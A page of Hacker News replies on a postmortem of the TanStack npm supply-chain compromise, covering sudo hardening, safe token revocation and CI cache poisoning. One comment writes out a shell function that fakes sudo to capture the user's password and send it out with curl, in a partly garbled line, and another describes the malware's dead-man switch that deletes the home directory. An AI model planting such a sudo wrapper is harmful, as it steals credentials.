Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

361–370 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#361
post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

It would be great if 1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions. 2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

Neither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges.

Remember that malware can replace or modify your shell

Re: Postmortem: TanStack NPM supply-chain compromise

#362

Earlier quoted context omitted.

I don't understand why people were voting this comment down in the issue page

There is no such thing as please be careful when revoking tokens. What does that mean? Dont revoke them? Look at them carefully before revoking them? And what? Just let the actor just keep using them to spread to other people? Always rotate your tokens immediately if they're compromised. If it hurts, well, that sucks. …but seriously , not revoking the tokens just makes this worse for everyone. A fair comment would ha…

Here being careful about revocation means:

Make sure to have an up-to-date backup, that's offline, or at least not mounted on the affected computer.

Check for the dead-man switch, and if present, disarm it.

Only then revoke the tokens. Instead of immediately revoking the tokens, like one would normally do. Nobody is suggesting to keep the compromised tokens active longer than necessary.

Re: Postmortem: TanStack NPM supply-chain compromise

#363

Earlier quoted context omitted.

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yeah, works well: $ /usr/bin/sudo() { echo Not the real sudo.; } $ /usr/bin/sudo Not the real sudo. And every other suggestion also doesn't work if the attacker can just replace the shell.

[deleted]

Re: Postmortem: TanStack NPM supply-chain compromise

#364
post #290

Earlier quoted context omitted.

Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'. Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the…

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis

More than just two levels for sudo, the Linux permission model is completely broken for this very reason. (Also see: https://xkcd.com/1200/)

Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)

Re: Postmortem: TanStack NPM supply-chain compromise

#365

Earlier quoted context omitted.

Unix used to have a user named "bin" just for owning all the binaries and performing installs.

The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions

bin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).

Re: Postmortem: TanStack NPM supply-chain compromise

#367
post #41

Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...

> as a systemd user service

Hah! I know why I don't use systemd.

Re: Postmortem: TanStack NPM supply-chain compromise

#369

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

https://noyaml.com

Re: Postmortem: TanStack NPM supply-chain compromise

#370

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

Not sure cases like the cache poisoning here would be more obvious.

Unless your bash script setup doesn't have the functionality of pull_request_target, but then removing it also works.

Post reply on HN